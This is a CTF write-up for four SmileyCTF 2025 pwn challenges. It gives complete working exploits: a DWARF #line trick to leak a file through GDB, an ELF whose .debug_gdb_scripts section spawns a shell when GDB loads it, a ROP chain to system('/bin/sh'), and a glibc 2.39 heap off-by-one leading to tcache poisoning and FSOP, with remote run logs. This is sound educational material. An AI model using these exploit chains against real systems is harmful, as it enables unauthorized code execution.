[WRITE UP] - SmileyCTF 2025

index

debuggable-1

Challenge Information

Author

unvariant

Category

pwn

Points

Solves

122

Description

AAAAAAAAAAAAAAAAAAAAAAAAA

Flag

.;,;.{elves_dwarves_orcs_what_is_going_to_be_next}

Analysis

The challenge is written in a Python file:

1
#!/usr/bin/python3
2

3
from base64 import b64decode
4
from os import memfd_create, getpid, write, environ
5
from subprocess import run
6
import builtins
7

8
def print(*args, **kwargs):
9
    builtins.print(*args, **kwargs, flush=True)
10

11
data = input("elf: ").strip()
12
elf = b64decode(data)
13
print("got elf")
14

15
pid = getpid()
16
fd = memfd_create("elf")
17

18
write(fd, elf)
19
tmp = f"/proc/{pid}/fd/{fd}"
20

21
env = environ.copy()
22
env["HOME"] = "/home/ubuntu"
23
handle = run(["gdb", tmp, "-ex", "list '/app/flag.txt'", "-ex", "q"], capture_output=True, check=True, encoding="utf-8", env=env, input="")
24
print(handle.stdout)
25

26
print("bye")

So basically, it takes a base64 encoded ELF file as input, decodes it, and writes it to a memory file descriptor. Then it runs GDB on that ELF file to read the contents of /app/flag.txt and prints the output. But remember that the challenge is run in a redpwn Docker container, which real path to the flag is /srv/app/flag.txt, not /app/flag.txt.

Let’s talk a little bit about the list command in GDB. This command will rely on something called DWARF, to read the symbol of the ELF file. In which DWARF is a standard format to save debug symbol inside the ELF file. And it appears when we compile a file with the -g option. DWARG is notable for the following parts:

Section	Description
`.debug_info`	Contains the main debugging entries (DIEs), including types, variables, and functions.
`.debug_abbrev`	CDefines the structure of debugging entries in .debug_info to reduce redundancy.
`.debug_line`	Maps machine code addresses to source file lines, used for setting breakpoints and listing code.
`.debug_str`	Stores shared strings used across DWARF sections, such as names of variables, functions, and files.

We will see that .debug_line will contain the machine code address to the source file lines. So what if we change it to /srv/app/flag.txt? In C programming, there is a directive called line which is used to reassign the line number and source file name to the following lines of code, without changing the actual content of the file. The compiler will record this information in the debug info (DWARF) as if it were compiling a different file, on a different line. And besides, we also need to change the symbol of a function in our exploit so that the list function does not report an error when it cannot find the symbol /app/flag.txt

Exploit

1
#!/usr/bin/env python3
2
from pwn import *
3
from base64 import b64encode
4
import subprocess
5
from tempfile import TemporaryDirectory
6

7
context.log_level = 'debug'
8
HOST = 'smiley.cat'
9
PORT = 42699
10

11
with TemporaryDirectory() as tmpdir:
12
    flag_c = f"{tmpdir}/flag.c"
13
    main_c = f"{tmpdir}/main.c"
14
    obj = f"{tmpdir}/flag.o"
15
    elf = f"{tmpdir}/exp.elf"
16

17
    with open(flag_c, "w") as f:
18
        f.write('#line 1 "/srv/app/flag.txt"\n')
19
        f.write('__attribute__((used)) void dummy() {}\n')
20

21
    with open(main_c, "w") as f:
22
        f.write('int main() { return 0; }\n')
23

24
    subprocess.run(["gcc", "-g", "-O0", "-c", flag_c, "-o", obj], check=True)
25

26
    subprocess.run(["objcopy", "--redefine-sym=dummy=/app/flag.txt", obj], check=True)
27

28
    subprocess.run(["gcc", "-no-pie", main_c, obj, "-o", elf], check=True)
29

30
    with open(elf, "rb") as f:
31
        b64_elf = b64encode(f.read())
32

33
p = remote(HOST, PORT)
34
p.sendlineafter(b"elf: ", b64_elf)
35
output = p.recvall(timeout=5).decode(errors="ignore")
36

37
print(output)

debuggable-2

Challenge Information

Author

unvariant

Category

pwn

Points

102

Solves

Description

GDB is safe if you never run the binary right?

Flag

Something...

Analysis

Like the previous challenge, this one is also written in a Python file:

1
#!/usr/bin/python3
2

3
from base64 import b64decode
4
from os import memfd_create, getpid, write, environ
5
from subprocess import run
6
import builtins
7

8
def print(*args, **kwargs):
9
    builtins.print(*args, **kwargs, flush=True)
10

11
data = input("elf: ").strip()
12
elf = b64decode(data)
13
print("got elf")
14

15
pid = getpid()
16
fd = memfd_create("elf")
17

18
write(fd, elf)
19
tmp = f"/proc/{pid}/fd/{fd}"
20

21
env = environ.copy()
22
env["HOME"] = "/home/ubuntu"
23
handle = run(["gdb", tmp, "-ex", "q"], capture_output=True, check=True, encoding="utf-8", env=env, input="")
24
print(handle.stdout)
25

26
print("bye")

But the special thing here is that it will run with the script set auto-load safe-path /. As the files of inferior can come from untrusted source (such as submitted by an application user) gdb does not always load any files automatically. gdb provides the ‘set auto-load safe-path’ setting to list directories trusted for loading files not explicitly requested by user. Each directory can also be a shell wildcard pattern.

1
set auto-load safe-path [directories]
2
    Set the list of directories (and their subdirectories) trusted for automatic loading and execution of scripts. You can also enter a specific trusted file. Each directory can also be a shell wildcard pattern; wildcards do not match directory separator - see FNM_PATHNAME for system function fnmatch (see fnmatch). If you omit directories, ‘auto-load safe-path’ will be reset to its default value as specified during gdb compilation.
3
    The list of directories uses path separator (‘:’ on GNU and Unix systems, ‘;’ on MS-Windows and MS-DOS) to separate directories, similarly to the PATH environment variable.

And one special thing is that for systems using file formats like ELF and COFF, when gdb loads a new object file, it looks for a special section called .debug_gdb_scripts. If this section exists, its contents are a list of NUL-terminated names of scripts to load. Each entry starts with a non-NULL prefix byte that specifies the type of entry, usually an extended language. GDB will look for each specified script file first in the current directory and then along the source search path, except that $cdir is not searched, since the compilation directory is not relevant to scripts. And since our safe path is / which means every file can be trusted, it will be easy to write a script to call the shell

Exploit

1
#include <stdio.h>
2

3
int main(int argc, char *argv[]) {
4
  asm(
5
  ".pushsection \".debug_gdb_scripts\", \"MS\",@progbits,1\n"
6
  ".byte 4 \n"
7
  ".ascii \"gdb.inlined-script\\n\"\n"
8
  ".ascii \"import os\\n\"\n"
9
  ".ascii \"os.system('/bin/sh')\\n\"\n"
10
  ".byte 0\n"
11
  ".popsection\n"
12
  );
13

14
  printf("hello world\n");
15
}

More info

babyrop

Challenge Information

Author

Eth007

Category

pwn

Points

114

Solves

Description

bopity ropity rop. the cop ran up the mop. the mop struck two, and over he flew, bopity ropity rop.

Flag

.;,;.{aaaaaaa_(╯°□°)╯︵ ┻━┻_aaaaaaa}

Reverse Engineering

We’ll start with our friend checksec:

1
[*] '/mnt/e/sec/CTFs/2025/SmileyCTF/babyrop/babyrop/vuln'
2
    Arch:       amd64-64-little
3
    RELRO:      Full RELRO
4
    Stack:      No canary found
5
    NX:         NX enabled
6
    PIE:        No PIE (0x400000)
7
    SHSTK:      Enabled
8
    IBT:        Enabled
9
    Stripped:   No

We can see that the binary is not stripped. Moreover, it has the following security features:

Full RELRO: This means that the GOT (Global Offset Table) is read-only after the program starts, preventing GOT overwrites.
No canary found: This means that stack canaries are not used, making stack buffer overflows more dangerous.
NX enabled: This means that the stack is non-executable, preventing execution of shellcode.
No PIE (0x400000): This means that the binary is not position-independent, making it easier to predict addresses.

Let’s dive into the binary using IDA:

1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  char s[32]; // [rsp+0h] [rbp-20h] BYREF
4

5
  setbuf(_bss_start, 0LL);
6
  memset(s, 0, sizeof(s));
7
  gets(s);
8
  print(s);
9
  return 0;
10
}

It’s simple, it reads a string from the user using gets, which is vulnerable to buffer overflow. The print function is used to print the string, but we don’t have its implementation yet. Not actually, a gets function, it uses read to read the input up to 700 bytes. And the printf is a function pointer to puts.

Exploit Strategy

So we can see, we don’t have many gadgets to use to leak address. So that we need to use Stack Pivott to bss. My target is to leak the stdout address store in bss:

1
pwndbg> tel 0x404010
2
00:0000│  0x404010 (print) —▸ 0x7ffff7c80e50 (puts) ◂— endbr64
3
01:0008│  0x404018 (stdout@GLIBC_2.2.5) —▸ 0x7ffff7e1b780 (_IO_2_1_stdout_) ◂— 0xfbad2084
4
02:0010│  0x404020 (completed) ◂— 0
5
03:0018│  0x404028 ◂— 0
6
04:0020│  0x404030 ◂— 0
7
05:0028│  0x404038 ◂— 0
8
06:0030│  0x404040 ◂— 0
9
07:0038│  0x404048 ◂— 0

Exploit


36 collapsed lines
1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
from pwnie import *
4
from subprocess import check_output
5
from time import sleep
6

7
context.log_level = 'debug'
8
context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.65", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]
9
exe = context.binary = ELF('./vuln_patched', checksec=False)
10
libc = exe.libc
11

12
gdbscript = '''
13
init-pwndbg
14
b *0x401227
15
c
16
'''
17

18
def start(argv=[]):
19
    if args.GDB:
20
        p = process([exe.path] + argv, aslr=False)
21
        gdb.attach(p, gdbscript=gdbscript)
22
        pause()
23
        return p
24
    elif args.REMOTE:
25
        return remote(sys.argv[1], sys.argv[2])
26
    elif args.DOCKER:
27
        p = remote("localhost", 5000)
28
        sleep(0.5)
29
        pid = int(check_output(["pidof", "-s", "/app/run"]))
30
        gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path)
31
        pause()
32
        return p
33
    else:
34
        return process([exe.path] + argv)
35

36

37
# ==================== EXPLOIT ====================
38
p = start()
39

40

41
offset      = 0x20
42
bss         = 0x404800
43

44
gets_gadget = 0x401205
45
puts_gadget = 0x401211
46

47
leave_ret   = 0x401226
48
pop_rbp     = 0x401181
49
pop_rcx     = 0x40117e
50
add_bl_dh   = 0x4010bf
51
ret         = pop_rbp + 1
52

53
payload = flat({
54
    offset: [
55
        bss-0x10,
56
        gets_gadget
57
    ]
58
}, filler=b'A')
59

60
input("Payload 1")
61
sl(payload)
62

63
payload = flat({
64
    offset:[
65
        0x404038 + 0x20,
66
        gets_gadget,
67

68
        0x404018 + 0x20,
69
        puts_gadget,
70

71
        cyclic(0x10),
72

73
        bss + 0x30 + 0x20,
74
        gets_gadget,
75

76
    ]
77
}, filler=b'B')
78

79
input("Payload 2")
80
sl(payload)
81

82
payload = p64(bss + 0x20) + p64(leave_ret)
83
payload += b'C' * 0x10
84
payload += p64(bss) + p64(leave_ret)
85

86
input("Payload 3")
87
sl(payload)
88

89
rls(3)
90
libc.address = u64(rl()[:-1].ljust(0x8, b'\0')) - 0x2045c0
91
success('libc base @ %#x', libc.address)
92

93
rop = ROP(libc)
94
pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]
95

96
payload = flat({
97
    offset: [
98
        0,
99
        pop_rdi, next(libc.search(b'/bin/sh\0')),
100
        ret, libc.sym.system
101
    ]
102
})
103

104
input("Payload 4")
105
sl(payload)
106

107
interactive()

limit

Challenge Information

Author

cope

Category

pwn

Points

234

Solves

Description

I heard you could malloc into scary places, so im adding a check to prevent that from ever happening!

Flag

.;,;.{1_am_4_f1ag_gr3nad3_I_am_a_f14g_gren4d3_I_4m_4_fl4g_gr3nade_aHR0cHM6Ly93d3cuaW5zdGFncmFtLmNvbS9wL0RJZUg3alRwaXdNLw==}

Analysis

This challenge is contain a source code of a C program:

1
#include <stdlib.h>
2
#include <stdio.h>
3
#include <unistd.h>
4
#include <stdint.h>
5
#include <fcntl.h>
6
#include <malloc.h>
7

8
char* chunks[0x10] = {0};
9
uint16_t sizes[0x10] = {0};
10

11
int main() {
12
    uint64_t idx;
13
    uint64_t sz;
14
    char* limit;
15
    setvbuf(stdin, NULL, _IONBF, 0);
16
    setvbuf(stdout, NULL, _IONBF, 0);
17
    free(malloc(0x418));
18
    limit = (char*) sbrk(0);
19
    puts("hi");
20
    while (1) {
21
        puts("Options:");
22
        puts("1) malloc up to 0x100 bytes");
23
        puts("2) free chunks and clear ptr");
24
        puts("3) print chunks using puts");
25
        puts("4) read to chunks with max possible size");
26
        printf("> ");
27
        uint option;
28
        if (!scanf("%d", &option)) {
29
            getchar();
30
        }
31
        switch (option) {
32
            case 1:
33
                printf("Index: ");
34
                if (!scanf("%ld", &idx) || idx >= 0x10) {
35
                    puts("idx < 0x10");
36
                    break;
37
                }
38
                printf("Size: ");
39
                if (!scanf("%ld", &sz) || !sz || sz > 0xf8) {
40
                    puts("0 < sz <= 0xf8");
41
                    break;
42
                }
43
                chunks[idx] = malloc(sz);
44
                if (chunks[idx] > limit) {
45
                    puts("hey where do you think ur going");
46
                    // if (malloc_usable_size(chunks[idx])) free(chunks[idx])
47
                    chunks[idx] = 0;
48
                    break;
49
                }
50
                uint16_t usable_size = sz > 0x18 ? (sz+7&~0xf)+8 : 0x18;
51
                sizes[idx] = usable_size;
52
                break;
53
            case 2:
54
                printf("Index: ");
55
                if (!scanf("%ld", &idx) || idx >= 0x10) {
56
                    puts("idx < 0x10");
57
                    break;
58
                }
59
                if (chunks[idx] == 0) {
60
                    puts("no chunk at this idx");
61
                    break;
62
                }
63

64
                free(chunks[idx]);
65
                chunks[idx] = 0;
66
                sizes[idx] = 0;
67
                break;
68
            case 3:
69
                printf("Index: ");
70
                if (!scanf("%ld", &idx) || idx >= 0x10) {
71
                    puts("idx < 0x10");
72
                    break;
73
                }
74
                if (!chunks[idx]) {
75
                    puts("no chunk at this idx");
76
                    break;
77
                }
78
                printf("Data: ");
79
                puts(chunks[idx]);
80
                break;
81
            case 4:
82
                printf("Index: ");
83
                if (!scanf("%ld", &idx) || idx >= 0x10) {
84
                    puts("idx < 0x10");
85
                    break;
86
                }
87
                if (!chunks[idx]) {
88
                    puts("no chunk at this idx");
89
                    break;
90
                }
91
                printf("Data: ");
92
                int len = read(0, chunks[idx], (uint32_t) sizes[idx]);
93
                if (len <= 0) {
94
                    puts("read failed");
95
                    break;
96
                }
97
                chunks[idx][len] = 0; // Off-by-one
98
                break;
99
            default:
100
                puts("invalid option");
101
                break;
102
        }
103
        puts("");
104
    }
105
    _exit(0);
106
}

So we can see that the program has a menu with 4 options:

Option 1: Allocate memory with malloc up to 0x100 bytes, and check if the allocated memory is greater than the current program break (the end of the heap). If it is, it will print an error message and set the pointer to 0.
Option 2: Free the allocated memory at the specified index and set the pointer to 0.
Option 3: Print the contents of the allocated memory at the specified index using puts.
Option 4: Read data from the standard input into the allocated memory at the specified index, with a maximum size of the usable size of the allocated memory. It also has an off-by-one bug, where it sets the last byte of the allocated memory to 0.

Look back to checksec result:

1
[*] '/mnt/e/sec/CTFs/2025/SmileyCTF/limit/limit/limit'
2
    Arch:       amd64-64-little
3
    RELRO:      Full RELRO
4
    Stack:      No canary found
5
    NX:         NX enabled
6
    PIE:        PIE enabled
7
    SHSTK:      Enabled
8
    IBT:        Enabled
9
    Stripped:   No

We can see that the binary is not stripped, but has Full RELRO, and has PIE enabled. Moreover, this binary is compiled with LIBC 2.39 💀:

1
$ strings libc.so.6| grep GNU
2
GNU C Library (Ubuntu GLIBC 2.39-0ubuntu8.4) stable release version 2.39.
3
Compiled by GNU CC

Exploit Strategy

To exploit this challenge, we can use the following strategy:

Leak the heap base address by allocating a chunk, free, allocating a chunk again, and then printing the contents of the chunk using puts. This will give us the address of the chunk in the heap.
Abuse the off-by-one bug in option 4 to overwrite the size of the chunk in the chunks array. This will allow us to clear the prev_inuse bit of the next chunk, and make it consolidate it, with our target chunk. Once we allocate it back the remainder will split off that consolidated chunk into two chunks, one of which will be the target chunk. We can have a duplicate of the target chunk in the chunks array, which will help us to more things in the future.
After successfully leak the libc base address, we will try to do ROP/FSOP to get the shell. Because the binary just allow us to allocate an address that is less than heap base, so our target now is a chunks array in .bss section. So that we need to leak PIE base address. -> To leak PIE base, we first need to leak ld base address, then find a pointer that contains the address of PIE base and leak it
Then just target to chunks[] array, and do ROP/FSOP

Note that: This is a high version of glibc, so we need to find a offset that stable both local and remote. We can do that by debug in the Docker

Exploit


44 collapsed lines
1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
from pwnie import *
4
from subprocess import check_output
5
from time import sleep
6

7
# context.log_level = 'debug'
8
context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.65", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]
9
exe = context.binary = ELF('./limit_patched', checksec=False)
10
libc = exe.libc
11

12
gdbscript = '''
13
init-pwndbg
14
# init-gef-bata
15
dir /mnt/e/sec/CTFs/2025/SmileyCTF/limit/limit/glibc-2.39
16
brva 0x1742
17
brva 0x166E
18
brva 0x1585
19
brva 0x1445
20
c
21
'''
22

23
def start(argv=[]):
24
    if args.REMOTE:
25
        return remote(sys.argv[1], sys.argv[2])
26
    elif args.DOCKER:
27
        p = remote("localhost", 5000)
28
        sleep(0.5)
29
        pid = int(check_output(["pidof", "-s", "/app/run"]))
30
        gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path)
31
        pause()
32
        return p
33
    elif args.QEMU:
34
        if args.GDB:
35
            return process(["qemu-aarch64", "-g", "5000", "-L", "/usr/aarch64-linux-gnu", exe.path] + argv)
36
        else:
37
            return process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", exe.path] + argv)
38
    else:
39
        return process([exe.path] + argv)
40

41
def debug():
42
    gdb.attach(p, gdbscript=gdbscript)
43
    pause()
44

45
def malloc(index, size):
46
    sla(b"> ", b"1")
47
    sla(b"Index: ", f"{index}".encode())
48
    sla(b"Size: ", f"{size}".encode())
49

50
def free(index):
51
    sla(b"> ", b"2")
52
    sla(b"Index: ", f"{index}".encode())
53

54
def puts(index):
55
    sla(b"> ", b"3")
56
    sla(b"Index: ", f"{index}".encode())
57

58
def read(index, data):
59
    sla(b"> ", b"4")
60
    sla(b"Index: ", f"{index}".encode())
61
    sa(b"Data: ", data)
62

63
def mangle(base, addr):
64
    return (base >> 12) ^ addr
65

66
# ==================== EXPLOIT ====================
67
p = start()
68

69
# Leak heap base
70
info('Leak heap base')
71
malloc(0, 0x28)
72
malloc(1, 0x28)
73

74
free(0)
75
free(1)
76

77
malloc(0, 0x28)
78
malloc(1, 0x28)
79

80
puts(1)
81
ru(b'Data: ')
82
heap_base = fixleak(rl()[:-1]) << 12
83
slog('heap base @ %#x', heap_base)
84

85
# Leak libc base
86
info('Leak libc base')
87
for i in range(9):
88
    malloc(i, 0xf8)
89
malloc(9, 0x18) # prevent top consolidation
90

91
## Fill tcache
92
for i in range(7):
93
    free(i)
94

95
payload = flat(
96
    p64(heap_base + 0x9f0), p64(heap_base + 0x9f0), # fd/bk point to fake main arena
97
    b"A" * 0x10, p64(0) * 2,
98
    p64(heap_base + 0xa20), p64(heap_base + 0xa20), # Fake arena contain a pointer point back to victim chunk
99
    b"B" * 0xb0,
100
    p64(0x100) # fake prev_size
101
)
102

103
read(7, payload)
104
free(8)
105

106
puts(7)
107
ru(b'Data: ')
108
libc.address = fixleak(rl()[:-1]) - 0x203b20
109
slog('libc base @ %#x', libc.address)
110

111
for i in range(7):
112
    malloc(i, 0xf8)
113

114
malloc(15, 0xf8)
115

116
# Leak ld
117
info('Leak ld base')
118
info('Stable address for ld base @ %#x', libc.address - 0x1df0)
119
free(0)
120
free(7)
121

122
## _rtld_global + 2736
123
# read(15, p64(mangle(heap_base, libc.address - 0x1dd0)))
124
read(15, p64(mangle(heap_base, libc.address - 0x1df0))) # Work on remote
125

126
malloc(7, 0xf8)
127
malloc(0, 0xf8)
128

129
free(7)
130

131
puts(15)
132
ru(b'Data: ')
133
# debug()
134
leak_val = u64(rl()[:-1].ljust(8, b"\x00")) ^ (heap_base >> 12)
135
ld_base = (leak_val ^ (libc.address - 0x1dd0 >> 12)) - 0x38ab0 # Work on remote
136
# ld_base = fixleak(rl()[:-1])
137
slog('ld base @ %#x', ld_base)
138

139
malloc(7, 0xf8)
140

141
# Leak pie
142
info('Leak pie base')
143
free(1)
144
free(7)
145

146
read(15, p64(mangle(heap_base, ld_base + 0x39660)))
147

148
malloc(7, 0xf8)
149
malloc(1, 0xf8)
150

151
free(7)
152

153
puts(15)
154
ru(b'Data: ')
155
leak_val = u64(rl()[:-1].ljust(8, b"\x00")) ^ (heap_base >> 12)
156
exe.address = (leak_val ^ (ld_base + 0x39660 >> 12)) - 0x658
157
slog('pie base @ %#x', exe.address)
158

159
malloc(7, 0xf8)
160

161
# tcache poisoning (aim for chunks[] array since it below heap region) [then leak stack]
162
info('Tcache poisoning & Leak stack address')
163
free(2)
164
free(7)
165

166
# debug()
167
read(15, p64(mangle(heap_base, exe.sym.chunks)))
168

169
malloc(7, 0xf8)
170
malloc(2, 0xf8)
171

172
read(2, p64(libc.sym.environ))
173
puts(0)
174
ru(b'Data: ')
175
stack_leak = fixleak(rl()[:-1])
176
saved_rbp = stack_leak - 0x138
177
slog('stack leak @ %#x', stack_leak)
178
slog('saved RBP @ %#x', saved_rbp)
179

180
# Do FSOP
181
info('FSOP to _IO_2_1_stdout_')
182
free(3)
183
free(7)
184

185
read(15, p64(mangle(heap_base, exe.sym.chunks)))
186

187
malloc(7, 0xf8)
188
malloc(0, 0xe8) # Make the size at index 0 > 0
189
malloc(3, 0xf8)
190

191
fp = FileStructure()
192
fp.flags = 0xfbad2484 + (u32(b"||sh") << 32)
193
fp._IO_read_end = libc.sym.system
194
fp._lock = libc.sym._IO_2_1_stdout_ + 0x50
195
fp._wide_data = libc.sym._IO_2_1_stdout_
196
fp.vtable = libc.sym._IO_wfile_jumps - 0x20
197
payload = bytes(fp) + p64(libc.sym._IO_2_1_stdout_ + 0x10 - 0x68)
198

199
read(3, p64(libc.sym._IO_2_1_stdout_)) # Overwrite chunks[0] = _IO_2_1_stdout_
200
read(0, payload)  # Write to _IO_2_1_stdout_
201

202
interactive()
203
# .;,;.{1_am_4_f1ag_gr3nad3_I_am_a_f14g_gren4d3_I_4m_4_fl4g_gr3nade_aHR0cHM6Ly93d3cuaW5zdGFncmFtLmNvbS9wL0RJZUg3alRwaXdNLw==}

And yes, it works both local and remote:

Local:

1
$ ./exploit.py
2
[*] '/mnt/e/sec/CTFs/2025/SmileyCTF/limit/limit/libc.so.6'
3
    Arch:       amd64-64-little
4
    RELRO:      Full RELRO
5
    Stack:      Canary found
6
    NX:         NX enabled
7
    PIE:        PIE enabled
8
    FORTIFY:    Enabled
9
    SHSTK:      Enabled
10
    IBT:        Enabled
11
    Stripped:   No
12
    Debuginfo:  Yes
13
[+] Starting local process '/mnt/e/sec/CTFs/2025/SmileyCTF/limit/limit/limit_patched': pid 5709
14
[*] Leak heap base
15
[+] heap base @ 0x57bea28e9000
16
[*] Leak libc base
17
[+] libc base @ 0x715fba06a000
18
[*] Leak ld base
19
[*] Stable address for ld base @ 0x715fba068210
20
[+] ld base @ 0x715fba27e000
21
[*] Leak pie base
22
[+] pie base @ 0x57be6c311000
23
[*] Tcache poisoning & Leak stack address
24
[+] stack leak @ 0x7ffdd9656908
25
[+] saved RBP @ 0x7ffdd96567d0
26
[*] FSOP to _IO_2_1_stdout_
27
[*] Switching to interactive mode
28
sh: 1: \x84$\xad\xfb: not found
29
pwniere > ls
30
Dockerfile  flag.txt    ld-linux-x86-64.so.2  limit    limit_patched
31
exploit.py  glibc-2.39  libc.so.6             limit.c

Remote:

1
$ ./exploit.py REMOTE smiley.cat 46465
2
[*] '/mnt/e/sec/CTFs/2025/SmileyCTF/limit/limit/libc.so.6'
3
    Arch:       amd64-64-little
4
    RELRO:      Full RELRO
5
    Stack:      Canary found
6
    NX:         NX enabled
7
    PIE:        PIE enabled
8
    FORTIFY:    Enabled
9
    SHSTK:      Enabled
10
    IBT:        Enabled
11
    Stripped:   No
12
    Debuginfo:  Yes
13
[+] Opening connection to smiley.cat on port 46465: Done
14
[*] Leak heap base
15
[+] heap base @ 0x55559ca7c000
16
[*] Leak libc base
17
[+] libc base @ 0x7fd28bbb7000
18
[*] Leak ld base
19
[*] Stable address for ld base @ 0x7fd28bbb5210
20
[+] ld base @ 0x7fd28bdcd000
21
[*] Leak pie base
22
[+] pie base @ 0x555573de2000
23
[*] Tcache poisoning & Leak stack address
24
[+] stack leak @ 0x7ffeaa4da3c8
25
[+] saved RBP @ 0x7ffeaa4da290
26
[*] FSOP to _IO_2_1_stdout_
27
[*] Switching to interactive mode
28
sh: 1: \x84$\xad\xfb: not found
29
.;,;.{1_am_4_f1ag_gr3nad3_I_am_a_f14g_gren4d3_I_4m_4_fl4g_gr3nade_aHR0cHM6Ly93d3cuaW5zdGFncmFtLmNvbS9wL0RJZUg3alRwaXdNLw==}
30
pwniere > ls
31
flag.txt
32
run